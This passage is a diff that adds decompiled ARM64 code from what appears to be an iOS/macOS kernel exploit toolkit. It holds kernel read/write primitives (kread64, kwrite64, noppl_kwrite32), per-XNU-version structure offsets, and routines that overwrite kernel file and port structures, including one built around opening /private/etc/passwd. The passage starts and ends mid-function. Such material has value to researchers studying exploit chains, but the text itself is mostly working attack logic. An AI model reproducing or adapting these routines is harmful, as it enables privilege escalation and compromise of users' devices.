'v134' is possibly undefined +// 317C0: variable 'v137' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000031914) ---------------------------------------------------- +_DWORD *__fastcall sub_31914(__int64 a1, _QWORD *a2, size_t *a3, unsigned int *a4, unsigned int *a5, unsigned int *a6) +{ + int v10; // w8 + unsigned int *v11; // x9 + __int64 v12; // x8 + unsigned int v13; // w28 + __int64 v14; // x11 + __int64 v15; // x12 + int v16; // w13 + __int64 v18; // x10 + int v19; // w9 + __int64 v20; // x11 + bool v21; // zf + unsigned int v22; // w12 + unsigned int v23; // w8 + int v24; // w25 + _DWORD *result; // x0 + unsigned int v26; // w10 + bool v27; // cf + bool v28; // cc + int v29; // w8 + int v30; // w8 + int v31; // w10 + size_t v32; // x21 + _DWORD *v33; // x26 + unsigned int *v34; // x20 + unsigned int v35; // w8 + __int64 v36; // x21 + unsigned __int64 v37; // x22 + __int64 v38; // x8 + _DWORD *v39; // x19 + unsigned int v40; // w25 + int v41; // w9 + unsigned int *v42; // x10 + __int64 v43; // x8 + unsigned int *v44; // x1 + size_t v45; // x27 + bool v46; // zf + int v47; // w9 + size_t v48; // [xsp+8h] [xbp-78h] + _QWORD *v49; // [xsp+10h] [xbp-70h] + size_t *v50; // [xsp+18h] [xbp-68h] + + v10 = *(_DWORD *)(a1 + 48); + if ( v10 ) + { + if ( v10 != 1 ) + return 0; + v11 = *(unsigned int **)(a1 + 56); + v12 = *v11; + if ( (_DWORD)v12 ) + { + v13 = 0; + v14 = *((_QWORD *)v11 + 1) + 8LL; + v15 = *v11; + do + { + if ( *(_DWORD *)(v14 - 8) == *(_DWORD *)(a1 + 64) ) + { + v16 = *(_DWORD *)(*(_QWORD *)v14 + 40LL); + if ( (v16 & 0x3FFF) == 0 && v16 != 0 ) + v13 = *(_DWORD *)(*(_QWORD *)v14 + 40LL); + } + v14 += 16; + --v15; + } + while ( v15 ); + v18 = *((_QWORD *)v11 + 1) + 8LL; + v19 = 12; + v20 = v12; + do + { + v21 = *(_DWORD *)(v18 - 8) != 5 || v13 == 0; + v22 = v13; + if ( v21 ) + v22 = bswap32(*(_DWORD *)(*(_QWORD *)v18 + 4LL)); + v19 += 8 + v22; + v18 += 16; + --v20; + } + while ( v20 ); + } + else + { + v13 = 0; + v19 = 12; + } + v26 = *(_DWORD *)(a1 + 92); + v27 = v26 >= (unsigned int)v12; + v29 = v26 - v12; + v28 = v29 != 0 && v27; + v30 = 8 * v29; + if ( v28 ) + v31 = v30; + else + v31 = 0; + v23 = v31 + v19; + v24 = v31 + 12; + } + else + { + v13 = 0; + v23 = bswap32(*(_DWORD *)(*(_QWORD *)(a1 + 56) + 4LL)); + v24 = 12; + } + v32 = v23; + result = malloc(v23); + if ( result ) + { + v33 = result; + bzero(result, v32); + if ( *(_DWORD *)(a1 + 48) == 1 ) + { + v49 = a2; + v50 = a3; + v34 = *(unsigned int **)(a1 + 56); + *v33 = -1072898310; + v35 = bswap32(*v34); + v48 = v32; + v33[1] = bswap32(v32); + v33[2] = v35; + if ( *v34 ) + { + v36 = 0; + v37 = 0; + v38 = *((_QWORD *)v34 + 1); + v39 = v33 + 4; + v40 = v24 + 8 * *v34; + while ( 1 ) + { + v41 = *(_DWORD *)(v38 + v36); + if ( v41 == *(_DWORD *)(a1 + 64) ) + { + *a4 = v40; + v41 = *(_DWORD *)(v38 + v36); + } + v42 = a5; + if ( v41 == 5 ) + goto LABEL_37; + if ( v41 == 7 ) + break; +LABEL_38: + v43 = v38 + v36; + *(v39 - 1) = bswap32(*(_DWORD *)v43); + *v39 = bswap32(v40); + v44 = *(unsigned int **)(v43 + 8); + v45 = bswap32(v44[1]); + memcpy((char *)v33 + v40, v44, v45); + v38 = *((_QWORD *)v34 + 1); + if ( v13 ) + v46 = *(_DWORD *)(v38 + v36) == 5; + else + v46 = 0; + if ( v46 ) + v47 = v13; + else + v47 = v45; + v40 += v47; + ++v37; + v36 += 16; + v39 += 2; + if ( v37 >= *v34 ) + goto LABEL_45; + } + v42 = a6; +LABEL_37: + *v42 = v40; + goto LABEL_38; + } +LABEL_45: + *v49 = v33; + *v50 = v48; + return &def_3E8F0 + 1; + } + else + { + memcpy(v33, *(const void **)(a1 + 56), bswap32(*(_DWORD *)(*(_QWORD *)(a1 + 56) + 4LL))); + *a2 = v33; + *a3 = v32; + result = &def_3E8F0 + 1; + *a4 = 0; + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (0000000000031B90) ---------------------------------------------------- +__int64 __fastcall sub_31B90(struct_krwCtx *a1, __int64 a2, mach_vm_address_t *a3, _QWORD *a4, int *a5) +{ + __int64 v10; // x25 + __int64 v11; // x23 + int v12; // w8 + __int64 v13; // x26 + bool v15; // zf + __int64 v16; // x24 + int xnuMajorVersion; // w8 + int v19; // w22 + int v21; // w0 + int v22; // w23 + unsigned __int64 v23; // x0 + mach_vm_address_t v24; // x25 + int v25; // w23 + int v27; // [xsp+8h] [xbp-68h] BYREF + int v28; // [xsp+Ch] [xbp-64h] BYREF + int v29; // [xsp+10h] [xbp-60h] BYREF + int v30; // [xsp+14h] [xbp-5Ch] BYREF + __int64 v31; // [xsp+18h] [xbp-58h] BYREF + mach_port_name_t name[2]; // [xsp+20h] [xbp-50h] BYREF + __int64 v33; // [xsp+28h] [xbp-48h] BYREF + + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + { + v11 = 0; + v33 = 0; + name[0] = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion <= 8018 ) + { + if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 ) + return v11; + } + else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 8792 ) + { + return v11; + } + v21 = open("/dev/null", 0); + if ( (v21 & 0x80000000) == 0 ) + { + v22 = v21; + if ( !(unsigned int)j__fileport_makeport(v21, name) ) + { + v23 = port_name_to_kaddr(a1, name[0]); + if ( v23 ) + { + v24 = v23 + 56; + if ( kread64_outptr(a1, v23 + 56, (unsigned __int64 *)&v33) && kwrite64((__int64)a1, v24, a2) ) + { + *a5 = v22; + *a3 = v24; + *a4 = v33; + mach_port_destroy(mach_task_self_, name[0]); + return 1; + } + } + mach_port_destroy(mach_task_self_, name[0]); + } + close(v22); + } + return 0; + } + v10 = 0; + v11 = 0; + *a3 = 0; + *a4 = 0; + *(_QWORD *)name = 0; + v33 = 0; + v31 = 0; + v29 = -1; + v30 = -1; + v27 = -1; + v28 = -1; + v12 = a1->xnuMajorVersion; + v13 = 72; + if ( v12 > 8791 ) + { + v16 = 0; + if ( v12 != 8792 ) + { + if ( v12 != 10002 && v12 != 8796 ) + return v11; + v16 = 116; + v10 = 64; + v13 = 80; + } + } + else + { + v15 = (unsigned int)(v12 - 8019) < 2 || v12 == 6153 || v12 == 7195; + v16 = 0; + if ( !v15 ) + return v11; + } + v19 = open("/private/etc/passwd", 0); + if ( v19 < 0 ) + { +LABEL_27: + v11 = 0; + if ( v19 == -1 ) + return v11; + } + else + { + while ( !(unsigned int)sub_35938(a1, v19, &v33) && kread32_outptr((__int64)a1, v33 + 84, &v30) ) + { + if ( (v30 & 0x4000) != 0 ) + { + if ( kread64_outptr(a1, v33 + 64, (unsigned __int64 *)&v31) + && validate_addr((__int64)a1, v31) + && kread64_outptr(a1, v31 + v13, (unsigned __int64 *)name) + && validate_addr((__int64)a1, *(__int64 *)name) + && (a1->xnuMajorVersion < 8796 + || kread32_outptr((__int64)a1, v33 + v16, &v28) + && kread32_outptr((__int64)a1, v31 + v10, &v27) + && kread32_outptr((__int64)a1, v16 + a2, &v29) + && noppl_kwrite32((__int64)a1, v31 + v10, v29) + && noppl_kwrite32((__int64)a1, v33 + v16, v29)) + && kwrite64((__int64)a1, v31 + v13, a2) ) + { + v25 = open("/private/etc/passwd", 0); + if ( kwrite64((__int64)a1, v31 + v13, *(__int64 *)name) + && (a1->xnuMajorVersion < 8796 + || noppl_kwrite32((__int64)a1, v33 + v16, v28) && noppl_kwrite32((__int64)a1, v31 + v10, v27)) + && (v25 & 0x80000000) == 0 ) + { + if ( !(unsigned int)sub_35938(a1, v25, &v33) && v33 == a2 ) + { + *a5 = v25; + v11 = 1; + goto LABEL_65; + } + } + else if ( v25 == -1 ) + { + break; + } + close(v25); + } + break; + } + if ( !noppl_kwrite32((__int64)a1, v33 + 84, v30 | 0x4000) ) + break; + close(v19); + v19 = open("/private/etc/passwd", 0); + if ( v19 < 0 ) + goto LABEL_27; + } + v11 = 0; + } +LABEL_65: + close(v19); + return v11; +} + +//----- (0000000000031FC0) ---------------------------------------------------- +__int64 __fastcall sub_31FC0(__int64 a1, void *a2) +{ + __int64 result; // x0 + unsigned int __n; // [xsp+4h] [xbp-4Ch] BYREF + _BYTE __n_4[48]; // [xsp+8h] [xbp-48h] BYREF + + result = (__int64)sub_2C9B0(a1, *(_DWORD *)(a1 + 64), -86111230); + if ( result ) + { + __n = 48; + result = sub_2BCF0( + *(unsigned __int8 *)(result + 37), + (const void *)result, + bswap32(*(_DWORD *)(result + 4)), + __n_4, + &__n); + if ( (_DWORD)result ) + { + memcpy(a2, __n_4, __n); + return 1; + } + } + return result; +} + +//----- (0000000000032064) ---------------------------------------------------- +__int64 __fastcall sub_32064( + struct_krwCtx *a1, + unsigned __int64 a2, + unsigned int a3, + const void *a4, + mach_vm_size_t a5) +{ + __int64 result; // x0 + unsigned __int64 v10; // x8 + unsigned __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + result = kread64_outptr(a1, a2, &v11); + if ( (_DWORD)result ) + { + v10 = v11; + while ( 1 ) + { + result = kwritebuf_universal(a1, v10 + a3, a4, a5); + if ( !(_DWORD)result ) + break; + result = kread64_outptr(a1, v11, &v11); + if ( !(_DWORD)result ) + break; + v10 = v11; + if ( !v11 ) + return 1; + } + } + return result; +} + +//----- (00000000000320EC) ---------------------------------------------------- +__int64 __fastcall sub_320EC(struct_krwCtx *a1) +{ + _BOOL4 has_flag; // w0 + int xnuMajorVersion; // w8 + unsigned int v4; // w10 + unsigned int v6; // w10 + unsigned int v7; // w11 + unsigned int v8; // w11 + unsigned int v9; // w10 + + has_flag = krw_ctx_has_flag(a1, 85475329); + xnuMajorVersion = a1->xnuMajorVersion; + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 ) + { + if ( has_flag ) + v6 = 216; + else + v6 = 208; + if ( has_flag ) + v7 = 200; + else + v7 = 192; + if ( a1->someLargeNumber >= 0x1F530F02800000LL ) + return v7; + else + return v6; + } + else if ( xnuMajorVersion == 7195 ) + { + if ( has_flag ) + v8 = 176; + else + v8 = 168; + if ( has_flag ) + v9 = 184; + else + v9 = 176; + if ( a1->someLargeNumber >= 0x1C1B1914600000LL ) + return v9; + else + return v8; + } + else + { + if ( has_flag ) + v4 = 184; + else + v4 = 176; + if ( xnuMajorVersion == 6153 ) + return v4; + else + return 0; + } +} + +//----- (00000000000321C0) ---------------------------------------------------- +__int64 __fastcall sub_321C0(__int64 a1) +{ + int v1; // w0 + int v2; // w19 + __int64 v3; // x20 + int v4; // w19 + int v5; // w8 + int v7; // [xsp+Ch] [xbp-54h] BYREF + _QWORD v8[7]; // [xsp+10h] [xbp-50h] BYREF + + v7 = 0; + v8[0] = (unsigned int)(0x20000000 - *(_DWORD *)(a1 + 384)); + v8[1] = &v7; + v8[2] = 4; + v1 = open("/usr/lib/dyld", 0); + if ( v1 < 0 ) + { + v4 = *__error(); + v5 = *__error(); + if ( v4 < 0 ) + v5 = -v5; + return v5 | 0x40000000u; + } + else + { + v2 = v1; + if ( fcntl(v1, 59, v8) && *__error() == 85 ) + v3 = 0; + else + v3 = 4097; + close(v2); + } + return v3; +} + +//----- (00000000000322A4) ---------------------------------------------------- +__int64 __fastcall sub_322A4(__int64 a1) +{ + _DWORD *v1; // x8 + + v1 = *(_DWORD **)(a1 + 24); + *(_BYTE *)a1 = 1; + while ( (*v1 & 0x4000000) == 0 ) + { + if ( *(_BYTE *)(a1 + 1) ) + return 0; + } + *v1 &= ~0x4000000u; + __dsb(0xBu); + return 0; +} + +//----- (00000000000322D8) ---------------------------------------------------- +__int64 __fastcall sub_322D8(__int64 a1, int *a2) +{ + int v2; // w8 + __int64 v4; // [xsp+10h] [xbp-B0h] BYREF + __int128 v5; // [xsp+18h] [xbp-A8h] + __int64 v6; // [xsp+28h] [xbp-98h] + __int64 v7; // [xsp+30h] [xbp-90h] + __int128 v8; // [xsp+38h] [xbp-88h] + __int128 v9; // [xsp+48h] [xbp-78h] + __int128 v10; // [xsp+58h] [xbp-68h] + __int128 v11; // [xsp+68h] [xbp-58h] + __int64 v12; // [xsp+78h] [xbp-48h] + _QWORD v13[7]; // [xsp+80h] [xbp-40h] BYREF + + v2 = *a2; + v7 = 0x22000000000LL; + v12 = 0; + v11 = 0u; + v10 = 0u; + v9 = 0u; + v8 = 0u; + v4 = 0x70000000020CDEFALL; + v5 = 0x20200u; + HIBYTE(v7) = vm_page_shift; + v6 = 0; + v13[0] = (unsigned int)(0x20000000 - *(_DWORD *)(a1 + 384)); + v13[1] = &v4; + v13[2] = 112; + if ( fcntl(v2, 59, v13) && *__error() == 1 ) + __error(); + return 0; +} + +//----- (00000000000323C4) ---------------------------------------------------- +__int64 __fastcall sub_323C4(__int64 a1) +{ + __int64 v2; // x20 + unsigned __int64 v3; // x21 + __int64 v4; // x22 + _QWORD *v5; // x23 + thread_act_t v6; // w0 + unsigned int v7; // w10 + unsigned int v8; // w9 + unsigned int v9; // w15 + _QWORD *v10; // x16 + bool v11; // zf + unsigned __int64 v12; // x17 + bool v13; // cf + __int64 v15; // x17 + __int64 v17; // x17 + int v18; // w16 + + v2 = *(_QWORD *)(a1 + 8); + v3 = *(_QWORD *)(a1 + 32); + v4 = *(_QWORD *)(a1 + 48); + v5 = *(_QWORD **)(a1 + 72); + v6 = mach_thread_self(); + if ( sub_2515C(v6) ) + { + v7 = *(_DWORD *)(a1 + 56); + v8 = v7 + 8; + if ( !v7 ) + { + v8 = 14080; + v7 = 13056; + } + *(_BYTE *)a1 = 1; + do + { + if ( v7 < v8 ) + { + v9 = v7; + while ( 1 ) + { + v10 = (_QWORD *)(v2 + v9); + v11 = *v10 >= 0xFFFF000000000001LL && (*v10 & v4) == 0; + if ( v11 && !*((_DWORD *)v10 - 1) ) + { + v12 = *(v10 - 2); + v13 = v12 < v3 || v12 >= v3 + 0x4000; + if ( !v13 && (*(v10 - 2) & 7LL) == 0 ) + { + v15 = *(v10 - 2) & 0x3FFFLL; + if ( !*(_DWORD *)(v2 + v15) && *(v10 - 3) >= 0xFFFF000000000001LL && (*(v10 - 3) & 0xFLL) == 0 ) + { + v17 = v15 + 4; + if ( (*(_DWORD *)(v2 + v17) & 0xFFFCC0F9) == 1 ) + break; + } + } + } + v9 += 8; + if ( v9 >= v8 ) + goto LABEL_29; + } + if ( v3 == *v5 ) + { + *v10 = *(_QWORD *)(a1 + 16); + if ( !*(_BYTE *)(a1 + 40) ) + { + do + { + v18 = *(_DWORD *)(v2 + v17); + if ( (v18 & 0x1000001) != 1 ) + break; + if ( (v18 & 0x4000000) != 0 ) + *(_DWORD *)(v2 + v17) = v18 & 0xFBFFFFFF; + } + while ( !*(_BYTE *)(a1 + 1) ); + } + *(_BYTE *)(a1 + 1) = 1; + *(_DWORD *)(a1 + 60) = v9; + } + else + { + *(_BYTE *)(a1 + 1) = 1; + } + } +LABEL_29: + ; + } + while ( !*(_BYTE *)(a1 + 1) ); + } + return 0; +} + +//----- (0000000000032538) ---------------------------------------------------- +_QWORD *__fastcall sub_32538(struct_krwCtx *a1, unsigned int *a2) +{ + unsigned int v4; // w8 + unsigned int v5; // w9 + int v6; // w10 + unsigned int v7; // w9 + unsigned int v8; // w21 + _QWORD *result; // x0 + __int64 vars8; // [xsp+28h] [xbp+8h] + + if ( krw_ctx_has_flag(a1, 85475329) && (v4 = *a2, *a2 >= 0x1FF9) ) + { + v5 = a1->pageSizeOrSomething; + v6 = v4 % v5; + v7 = v5 - v4 % v5; + if ( !v6 ) + v7 = 0; + v8 = v7 + v4; + result = sub_36C10(a1, v7 + v4); + if ( result ) + *a2 = v8; + } + else + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return (_QWORD *)sub_37210((__int64)a1, a2); + } + return result; +} +// 325CC: variable 'vars8' is possibly undefined + +//----- (00000000000325DC) ---------------------------------------------------- +void __fastcall sub_325DC(unsigned int *a1) +{ + unsigned __int64 v2; // x20 + __int64 v3; // x21 + __int64 vars8; // [xsp+28h] [xbp+8h] + + if ( *a1 ) + { + v2 = 0; + v3 = 8; + do + { + sub_2F9D4(*(_DWORD **)(*((_QWORD *)a1 + 1) + v3)); + ++v2; + v3 += 16; + } + while ( v2 < *a1 ); + } + free(*((void **)a1 + 1)); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(a1); +} +// 32640: variable 'vars8' is possibly undefined + +//----- (0000000000032650) ---------------------------------------------------- +__int64 __fastcall sub_32650(unsigned int *a1, int a2, __int64 a3) +{ + int v6; // w8 + unsigned int v7; // w9 + char *v8; // x0 + __int64 v9; // x22 + char *v10; // x9 + __int64 result; // x0 + + v6 = *a1; + v7 = a1[1]; + if ( *a1 < v7 ) + { + v8 = (char *)*((_QWORD *)a1 + 1); +LABEL_5: + v10 = &v8[16 * v6]; + *(_DWORD *)v10 = a2; + *((_QWORD *)v10 + 1) = a3; + result = (unsigned int)(v6 + 1); + *a1 = result; + return result; + } + v9 = 2 * v7; + v8 = (char *)realloc(*((void **)a1 + 1), 16 * v9); + if ( v8 ) + { + a1[1] = v9; + *((_QWORD *)a1 + 1) = v8; + v6 = *a1; + goto LABEL_5; + } + return 0xFFFFFFFFLL; +} + +//----- (00000000000326D0) ---------------------------------------------------- +_QWORD *sub_326D0() +{ + _QWORD *v0; // x19 + void *v1; // x0 + + v0 = malloc(0x10u); + if ( v0 ) + { + v1 = malloc(0x40u); + if ( v1 ) + { + v0[1] = v1; + *v0 = 0x400000000LL; + } + else + { + free(v0); + return 0; + } + } + return v0; +} + +//----- (000000000003272C) ---------------------------------------------------- +__int64 __fastcall sub_3272C(int __fd, __int64 a2, unsigned __int64 a3, __int64 a4) +{ + unsigned __int64 v8; // x26 + unsigned int v9; // w27 + ssize_t v10; // x0 + bool v11; // cf + unsigned __int64 v12; // x8 + __int64 result; // x0 + int v14; // w19 + int v15; // w8 + + if ( a3 ) + { + v8 = 0; + while ( 2 ) + { + v9 = 0; + while ( 1 ) + { + v10 = pread(__fd, (void *)(a2 + v8), a3 - v8, v8 + a4); + if ( v10 != -1 ) + break; + if ( *__error() == 4 ) + { + v11 = v9++ >= 0x64; + if ( !v11 ) + continue; + } + goto LABEL_15; + } + v12 = v10; + if ( v10 < 0 ) + { +LABEL_15: + v14 = *__error(); + v15 = *__error(); + if ( v14 < 0 ) + v15 = -v15; + return v15 | 0x40000000u; + } + result = 708628; + if ( v12 > a3 ) + return result; + v11 = __CFADD__(v12, v8); + v8 += v12; + if ( v11 || v8 > a3 ) + return result; + if ( v8 < a3 ) + continue; + break; + } + } + return 0; +} + +//----- (0000000000032820) ---------------------------------------------------- +__int64 __fastcall sub_32820(struct_krwCtx *ctx, __int64 ipc_port) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + bool v5; // zf + int v6; // w9 + __int64 v8; // x8 + + result = 0LL; + xnuMajorVersion = ctx->xnuMajorVersion; + if ( xnuMajorVersion <= 8019 ) + { + if ( xnuMajorVersion == 6153 || xnuMajorVersion == 7195 ) + { + v8 = 104LL; + } + else + { + if ( xnuMajorVersion != 8019 ) + return result; + v8 = 88LL; + } + return v8 + ipc_port; + } + if ( xnuMajorVersion > 8795 ) + { + v5 = xnuMajorVersion == 8796; + v6 = 10002; + } + else + { + v5 = xnuMajorVersion == 8020; + v6 = 8792; + } + if ( v5 || xnuMajorVersion == v6 ) + { + v8 = 72LL; + return v8 + ipc_port; + } + return result; +} + +//----- (00000000000328A4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_328A4(struct_krwCtx *a1, unsigned __int64 ipc_port_kaddr) +{ + unsigned __int64 result; // x0 + uint64_t someLargeNumber; // x8 + int v6; // [xsp+4h] [xbp-1Ch] BYREF + __int64 v7; // [xsp+8h] [xbp-18h] BYREF + + if ( !kread32_outptr((__int64)a1, ipc_port_kaddr, &v6) ) + return 0; + result = sub_32820(a1, ipc_port_kaddr); + if ( !result ) + return result; + if ( !kread64_outptr(a1, result, (unsigned __int64 *)&v7) ) + return 0; + result = validate_addr((__int64)a1, v7); + if ( !result ) + return result; + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber >= 0x27120000000000LL ) + { + if ( (v6 & 0x3FFu) > 0x29 || ((1LL << v6) & 0x20068000000LL) == 0 ) + return v7; + if ( !kread64_outptr(a1, v7 + 48, (unsigned __int64 *)&v7) ) + return 0; + someLargeNumber = a1->someLargeNumber; + } + if ( someLargeNumber > 0x1F52FFFFFFFFFFLL || (v6 & 0x400) == 0 ) + return v7; + if ( kread64_outptr(a1, v7 + a1->int168, (unsigned __int64 *)&v7) ) + { + result = validate_addr((__int64)a1, v7); + if ( !result ) + return result; + return v7; + } + return 0; +} + +//----- (00000000000329B8) ---------------------------------------------------- +__int64 __fastcall sub_329B8(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w9 + bool v5; // zf + int v6; // w8 + __int64 v7; // x8 + bool v9; // cc + + result = 0LL; + v4 = *(_DWORD *)(a1 + 320); + if ( v4 <= 8019 ) + { + switch ( v4 ) + { + case 6153: + v9 = *(_QWORD *)(a1 + 344) > 0x18090A095FFFFFuLL; + v7 = 152LL; + if ( v9 ) + v7 = 144LL; + break; + case 7195: + v7 = 144LL; + break; + case 8019: + v7 = 128LL; + break; + default: + return result; + } + return v7 + a2; + } + if ( v4 > 8795 ) + { + v5 = v4 == 8796; + v6 = 10002; + } + else + { + v5 = v4 == 8020; + v6 = 8792; + } + if ( v5 || v4 == v6 ) + { + v7 = 112LL; + return v7 + a2; + } + return result; +} + +//----- (0000000000032A64) ---------------------------------------------------- +__int64 __fastcall sub_32A64(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w9 + bool v5; // zf + int v6; // w8 + __int64 v7; // x8 + bool v9; // cc + + result = 0LL; + v4 = *(_DWORD *)(a1 + 320); + if ( v4 <= 8019 ) + { + switch ( v4 ) + { + case 6153: + v9 = *(_QWORD *)(a1 + 344) > 0x18090A095FFFFFuLL; + v7 = 168LL; + if ( v9 ) + v7 = 160LL; + break; + case 7195: + v7 = 160LL; + break; + case 8019: + v7 = 144LL; + break; + default: + return result; + } + return v7 + a2; + } + if ( v4 > 8795 ) + { + v5 = v4 == 8796; + v6 = 10002; + } + else + { + v5 = v4 == 8020; + v6 = 8792; + } + if ( v5 || v4 == v6 ) + { + v7 = 128LL; + return v7 + a2; + } + return result; +} + +//----- (0000000000032B10) ---------------------------------------------------- +__int64 __fastcall sub_32B10(__int64 a1) +{ + host_t v2; // w0 + kern_return_t v3; // w19 + mach_msg_type_number_t info_outCnt; // [xsp+Ch] [xbp-24h] BYREF + integer_t info_out; // [xsp+10h] [xbp-20h] BYREF + host_t host; // [xsp+18h] [xbp-18h] BYREF + processor_set_name_t default_set; // [xsp+1Ch] [xbp-14h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + host = 0; + info_outCnt = 2; + if ( *(_BYTE *)(a1 + 10) && getuid() ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return mach_host_self(); + } + else + { + v2 = mach_host_self(); + v3 = processor_set_default(v2, &default_set); + if ( !v3 ) + { + v3 = processor_set_info(default_set, 5, &host, &info_out, &info_outCnt); + mach_port_deallocate(mach_task_self_, default_set); + } + if ( v3 == 53 ) + return mach_host_self(); + else + return host; + } +} + +//----- (0000000000032BC8) ---------------------------------------------------- +__int64 __fastcall sub_32BC8(__int64 a1) +{ + __int64 v1; // x8 + int v2; // w9 + bool v3; // zf + int v4; // w10 + + v1 = *(unsigned int *)(a1 + 372); + if ( (_DWORD)v1 ) + return v1; + v2 = *(_DWORD *)(a1 + 320); + if ( v2 <= 8019 ) + { + switch ( v2 ) + { + case 6153: + if ( *(_QWORD *)(a1 + 344) <= 0x18090A095FFFFFuLL ) + v1 = 176LL; + else + v1 = 168LL; + break; + case 7195: + v1 = 168LL; + break; + case 8019: + v1 = 160LL; + break; + default: + return v1; + } +LABEL_20: + *(_DWORD *)(a1 + 372) = v1; + return v1; + } + if ( v2 > 8795 ) + { + v3 = v2 == 8796; + v4 = 10002; + } + else + { + v3 = v2 == 8020; + v4 = 8792; + } + if ( v3 || v2 == v4 ) + { + v1 = 144LL; + goto LABEL_20; + } + return v1; +} + +//----- (0000000000032C78) ---------------------------------------------------- +unsigned __int64 __fastcall port_name_to_kaddr(struct_krwCtx *a1, mach_port_t a2) +{ + mach_port_t v4; // w21 + unsigned __int64 result; // x0 + bool v6; // zf + __int64 vars8; // [xsp+28h] [xbp+8h] + + v4 = mach_task_self_; + if ( mach_task_self_ != a2 || (result = *(_QWORD *)&a1->gap190[32]) == 0 ) + { + if ( a2 == -1 ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_32D24((__int64)a1); + } + else + { + result = task_get_ipc_port(a1, mach_task_self_, a2); + if ( result ) + { + result = maybe_ipc_port_get_kobject(a1, result); + v6 = v4 != a2 || result == 0; + if ( !v6 && !*(_QWORD *)&a1->gap190[32] ) + *(_QWORD *)&a1->gap190[32] = result; + } + } + } + return result; +} +// 32D14: variable 'vars8' is possibly undefined + +//----- (0000000000032D24) ---------------------------------------------------- +unsigned __int64 __fastcall sub_32D24(__int64 a1) +{ + __int64 v1; // x8 + unsigned __int64 v3; // x1 + unsigned int v4; // w1 + + v1 = *(_QWORD *)(a1 + 6616); + if ( v1 ) + return v1; + v3 = *(_QWORD *)(a1 + 6608); + if ( v3 ) + return maybe_ipc_port_get_kobject((struct_krwCtx *)a1, v3); + v4 = *(_DWORD *)(a1 + 6428); + if ( v4 == -1 ) + return 0; + if ( !v4 ) + { + v4 = *(_DWORD *)(a1 + 6424); + if ( v4 + 1 < 2 ) + return 0; + } + return port_name_to_kaddr((struct_krwCtx *)a1, v4); +} + +//----- (0000000000032D6C) ---------------------------------------------------- +unsigned __int64 __fastcall task_self_get_ipc_port(struct_krwCtx *ctx, mach_port_t port) +{ + return task_get_ipc_port(ctx, mach_task_self_, port); +} + +//----- (0000000000032D80) ---------------------------------------------------- +__int64 __fastcall sub_32D80(struct_krwCtx *krwCtx, __int64 addr) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + bool v5; // cc + __int64 off; // x8 + __int64 v7; // x9 + __int64 out; // [xsp+8h] [xbp-18h] BYREF + + result = 0; + xnuMajorVersion = krwCtx->xnuMajorVersion; + if ( xnuMajorVersion <= 8791 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 ) + { + v5 = krwCtx->someLargeNumber > 0x1F530F027FFFFFLL; + off = 816; + v7 = 776; +LABEL_16: + if ( v5 ) + off = v7; + goto LABEL_20; + } + if ( xnuMajorVersion != 6153 ) + { + if ( xnuMajorVersion != 7195 ) + return result; + v5 = krwCtx->someLargeNumber > 0x1C1B19145FFFFFLL; + off = 816; + v7 = 824; + goto LABEL_16; + } + off = 800; +LABEL_20: + if ( !kread64_outptr(krwCtx, off + addr, (unsigned __int64 *)&out) ) + return 0; + if ( validate_addr((__int64)krwCtx, out) ) + return out; + return 0; + } + if ( xnuMajorVersion == 8792 || xnuMajorVersion == 8796 || xnuMajorVersion == 10002 ) + { + off = 768; + goto LABEL_20; + } + return result; +} + +//----- (0000000000032E84) ---------------------------------------------------- +__int64 __fastcall sub_32E84(__int64 a1) +{ + __int64 result; // x0 + int v3; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 320); + if ( v3 > 8791 ) + { + if ( v3 == 8792 || v3 == 8796 || v3 == 10002 ) + return 696LL; + } + else if ( (unsigned int)(v3 - 8019) < 2 ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + return 744LL; + else + return 704LL; + } + else if ( v3 == 6153 ) + { + return 720LL; + } + else if ( v3 == 7195 ) + { + return 736LL; + } + return result; +} + +//----- (0000000000032F1C) ---------------------------------------------------- +__int64 __fastcall sub_32F1C(struct_krwCtx *a1) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + uint64_t someLargeNumber; // x20 + _BOOL4 has_flag; // w0 + unsigned int v6; // w9 + unsigned int v7; // w10 + bool v9; // cc + unsigned int v10; // w8 + unsigned int v11; // w9 + _BOOL4 v12; // w0 + uint64_t v13; // x8 + bool v14; // cc + unsigned int v15; // w8 + unsigned int v16; // w9 + + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion <= 8791 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion == 6153 ) + { + if ( krw_ctx_has_flag(a1, 89669633) ) + return 904; + else + return 896; + } + else if ( xnuMajorVersion == 7195 ) + { + someLargeNumber = a1->someLargeNumber; + has_flag = krw_ctx_has_flag(a1, 89669633); + if ( has_flag ) + v6 = 928; + else + v6 = 912; + if ( has_flag ) + v7 = 944; + else + v7 = 920; + if ( someLargeNumber >= 0x1C1B1914600000LL ) + return v7; + else + return v6; + } + return result; + } + if ( !krw_ctx_has_flag(a1, 0x100000) ) + { + v12 = krw_ctx_has_flag(a1, 89669633); + v13 = a1->someLargeNumber; + v14 = v13 > 